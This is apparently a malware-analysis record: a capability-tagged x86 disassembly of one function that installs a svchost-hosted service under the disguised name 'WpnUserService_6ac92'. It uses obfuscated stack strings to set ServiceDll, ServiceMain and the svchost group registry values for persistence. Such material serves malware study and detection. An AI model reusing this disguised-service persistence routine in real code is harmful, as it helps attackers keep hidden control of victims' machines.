Function at 0x10012f90
Capabilities:
Contain obfuscated stackstrings
Create service
Modify service
Persist via windows service
Query or enumerate registry value
Query service status
Set registry value

Disassembly:
sub esp, 0x8ec
mov eax, dword [0x1001f2b8]
xor eax, esp
mov dword [esp + 0x8e8], eax
push ebp
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
push edi
push 0xf003f
xor ebp, ebp
push ebp
xor edi, edi
push ebp
mov dword [esp + 0x28], edi
call esi
mov dword [esp + 0x18], eax
cmp eax, ebp
jne 0x10012fd8
push 1
push ebp
push ebp
call esi
mov dword [esp + 0x18], eax
cmp eax, ebp
je 0x100135d9
push ebx
push 0xf01ff
push str.WpnUserService_6ac92
xor ecx, ecx
push eax
mov dword [esp + 0x6c], 0x650053
mov dword [esp + 0x70], 0x760072
mov dword [esp + 0x74], 0x630069
mov dword [esp + 0x78], 0x440065
mov dword [esp + 0x7c], 0x4c004c
mov word [esp + 0x80], cx
mov dword [esp + 0x1c], ebp
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov edi, dword [sym.imp.USER32.dll_wsprintfW]
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ebx, eax
cmp ebx, ebp
jne 0x1001346f
cmp dword [0x1001fe50], ebp
je 0x100135b1
push str.WpnUserService_6ac92
push str.svchost
lea edx, [esp + 0x2e8]
push str.__SYSTEMROOT___system32_s.exe__k___s_
push edx
call edi
add esp, 0x10
push ebp
mov ecx, dword [esp + 0x20]
push ebp
push ebp
push ebp
push ebp
mov dword [esp + 0x28], eax
lea eax, [esp + 0x2f4]
push eax
push ebp
push 2
push 0x20
push 0xf01ff
push str.WpnUserService_6ac92
push str.WpnUserService_6ac92
push ecx
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov ebx, eax
cmp ebx, ebp
je 0x100135b1
mov eax, 0x2710
mov dword [esp + 0x40], eax
mov dword [esp + 0x48], eax
mov dword [esp + 0x50], eax
lea eax, [esp + 0x28]
push eax
mov ecx, 1
push 2
lea edx, [esp + 0x44]
push ebx
mov dword [esp + 0x48], ecx
mov dword [esp + 0x50], ecx
mov dword [esp + 0x58], ecx
mov dword [esp + 0x34], ebp
mov dword [esp + 0x3c], ebp
mov dword [esp + 0x38], ebp
mov dword [esp + 0x40], 3
mov dword [esp + 0x44], edx
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2W]
push 0x1001966c
push ebp
push str.svchost
push str.SoftwareMicrosoftWindows_NTCurrentVersion
lea ecx, [esp + 0xe4]
push str._s_s_c_s
push ecx
call edi
add esp, 0x18
push ebp
lea edx, [esp + 0x14]
push edx
push ebp
push 0xf023f
push ebp
push ebp
push ebp
lea eax, [esp + 0xf0]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [0x1001fe7c]
test eax, eax
jne 0x10013159
push str.WpnUserService_6ac92
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [esp + 0x10]
add eax, eax
push eax
push str.WpnUserService_6ac92
push 7
push ebp
push str.WpnUserService_6ac92
push ecx
call esi
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.WpnUserService_6ac92
push 0x5c
push str.svchost
push str.SoftwareMicrosoftWindows_NTCurrentVersion
lea eax, [esp + 0xe4]
push str._s_s_c_s
push eax
call edi
add esp, 0x18
push ebp
lea ecx, [esp + 0x14]
push ecx
push ebp
push 0xf023f
push ebp
push ebp
push ebp
lea edx, [esp + 0xf0]
push edx
push reloc.OLEAUT32.dll_SysReAllocString
call dword [0x1001fe7c]
test eax, eax
jne 0x100131f8
mov eax, dword [esp + 0x10]
push 4
push eax
call fcn.1000f710
mov edx, dword [esp + 0x18]
add esp, 8
push 4
lea ecx, [esp + 0x24]
push ecx
push 4
push ebp
push str.AuthenticationCapabilities
push edx
mov dword [esp + 0x38], 0x2000
call esi
mov ecx, dword [esp + 0x10]
push 4
lea eax, [esp + 0x1c]
push eax
push 4
push ebp
push str.CoInitializeSecurityParam
push ecx
mov dword [esp + 0x30], 1
call esi
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.Parameters
push str.WpnUserService_6ac92
push str.Services_
lea eax, [esp + 0xe0]
push str.SYSTEMCurrentControlSet_s_s_s
push eax
mov dword [esp + 0x8c], 0x650053
mov dword [esp + 0x90], 0x760072
mov dword [esp + 0x94], 0x630069
mov dword [esp + 0x98], 0x4d0065
mov dword [esp + 0x9c], 0x690061
mov dword [esp + 0xa0], 0x6e
call edi
add esp, 0x14
push ebp
lea ecx, [esp + 0x14]
push ecx
push ebp
push 0xf023f
push ebp
push ebp
push ebp
lea edx, [esp + 0xf0]
push edx
push reloc.OLEAUT32.dll_SysReAllocString
call dword [0x1001fe7c]
test eax, eax
jne 0x100133de
mov eax, dword [esp + 0x10]
push 4
push eax
call fcn.1000f710
mov ecx, dword [0x1001fe98]
mov eax, dword [0x1001fe24]
add esp, 8
lea edx, [ecx + ecx + 2]
push edx
mov edx, dword [esp + 0x14]
push eax
push 2
push ebp
lea ecx, [esp + 0x70]
push ecx
push edx
call esi
mov ecx, dword [esp + 0x14]
lea edx, [ecx + ecx + 2]
push edx
mov edx, dword [esp + 0x14]
lea eax, [esp + 0x2e4]
push eax
push 2
push ebp
lea ecx, [esp + 0xa0]
push ecx
push edx
mov dword [esp + 0xa8], 0x6d0049
mov dword [esp + 0xac], 0x670061
mov dword [esp + 0xb0], 0x500065
mov dword [esp + 0xb4], 0x740061
mov dword [esp + 0xb8], 0x68
call esi
push 0x100194fc
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [esp + 0x10]
add eax, eax
push eax
push 0x100194fc
push 1
push ebp
lea eax, [esp + 0x88]
push eax
push ecx
call esi
push 4
lea ecx, [esp + 0x1c]
push ecx
push 4
xor eax, eax
push ebp
lea edx, [esp + 0xb4]
mov word [esp + 0xe0], ax
mov eax, dword [esp + 0x20]
push edx
push eax
mov dword [esp + 0xbc], 0x650053
mov dword [esp + 0xc0], 0x760072
mov dword [esp + 0xc4], 0x630069
mov dword [esp + 0xc8], 0x440065
mov dword [esp + 0xcc], 0x6c006c
mov dword [esp + 0xd0], 0x6e0055
mov dword [esp + 0xd4], 0x6f006c
mov dword [esp + 0xd8], 0x640061
mov dword [esp + 0xdc], 0x6e004f
mov dword [esp + 0xe0], 0x740053
mov dword [esp + 0xe4], 0x70006f
mov dword [esp + 0x30], ebp
call esi
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x1001966c
push str.WpnUserService_6ac92
push str.Services_
lea edx, [esp + 0xe0]
push str.SYSTEMCurrentControlSet_s_s_s
push edx
call edi
add esp, 0x14
push ebp
lea eax, [esp + 0x14]
push eax
push ebp
push 0xf023f
push ebp
push ebp
push ebp
lea ecx, [esp + 0xf0]
push ecx
push reloc.OLEAUT32.dll_SysReAllocString
call dword [0x1001fe7c]
test eax, eax
jne 0x10013464
mov edx, dword [esp + 0x10]
push 4
push edx
call fcn.1000f710
add esp, 8
push 0x100194fc
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [esp + 0x10]
add eax, eax
push eax
push 0x100194fc
push 1
push ebp
lea eax, [esp + 0x88]
push eax
push ecx
call esi
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 2
push ebx
call fcn.1000f710
add esp, 8
push str.Parameters
push str.WpnUserService_6ac92
push str.Services_
lea eax, [esp + 0xe0]
push str.SYSTEMCurrentControlSet_s_s_s
push eax
mov dword [esp + 0x34], 1
call edi
add esp, 0x14
push ebp
lea ecx, [esp + 0x14]
push ecx
push ebp
push 0xf023f
push ebp
push ebp
push ebp
lea edx, [esp + 0xf0]
push edx
push reloc.OLEAUT32.dll_SysReAllocString
call dword [0x1001fe7c]
test eax, eax
jne 0x1001354f
push 0x20a
lea eax, [esp + 0xd8]
push eax
call sub.NTDLL.dll_RtlZeroMemory
lea ecx, [esp + 0x14]
push ecx
lea edx, [esp + 0xd8]
push edx
mov edx, dword [esp + 0x18]
lea eax, [esp + 0x20]
push eax
push ebp
lea ecx, [esp + 0x70]
push ecx
push edx
mov dword [esp + 0x2c], 0x20a
mov dword [esp + 0x30], 2
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x10013523
mov eax, dword [0x1001fe24]
push eax
lea ecx, [esp + 0xd8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x10013544
mov edx, dword [0x1001fe98]
mov ecx, dword [0x1001fe24]
lea eax, [edx + edx + 2]
push eax
mov eax, dword [esp + 0x14]
push ecx
push 2
push ebp
lea edx, [esp + 0x70]
push edx
push eax
call esi
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x24
lea edx, [esp + 0x40]
push edx
call sub.NTDLL.dll_RtlZeroMemory
lea eax, [esp + 0x24]
push eax
push 0x24
lea ecx, [esp + 0x44]
push ecx
push ebp
push ebx
mov dword [esp + 0x38], ebp
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x1001357e
cmp dword [esp + 0x40], 4
je 0x100135aa
cmp dword [0x1001fe50], ebp
je 0x1001359f
cmp dword [0x100200b0], ebp
je 0x1001359f
push 1
lea edx, [esp + 0x18]
mov dword [esp + 0x18], 0x100194f8
push edx
jmp 0x100135a1
push ebp
push ebp
push ebx
call fcn.10012ea0
add esp, 0xc
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [esp + 0x1c]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [esp + 0x20]
pop ebx
pop edi
pop esi
pop ebp
mov ecx, dword [esp + 0x8e8]
xor ecx, esp
call fcn.10008464
add esp, 0x8ec
ret
mov ecx, dword [esp + 0x8f4]
mov eax, edi
pop edi
pop esi
pop ebp
xor ecx, esp
call fcn.10008464
add esp, 0x8ec
ret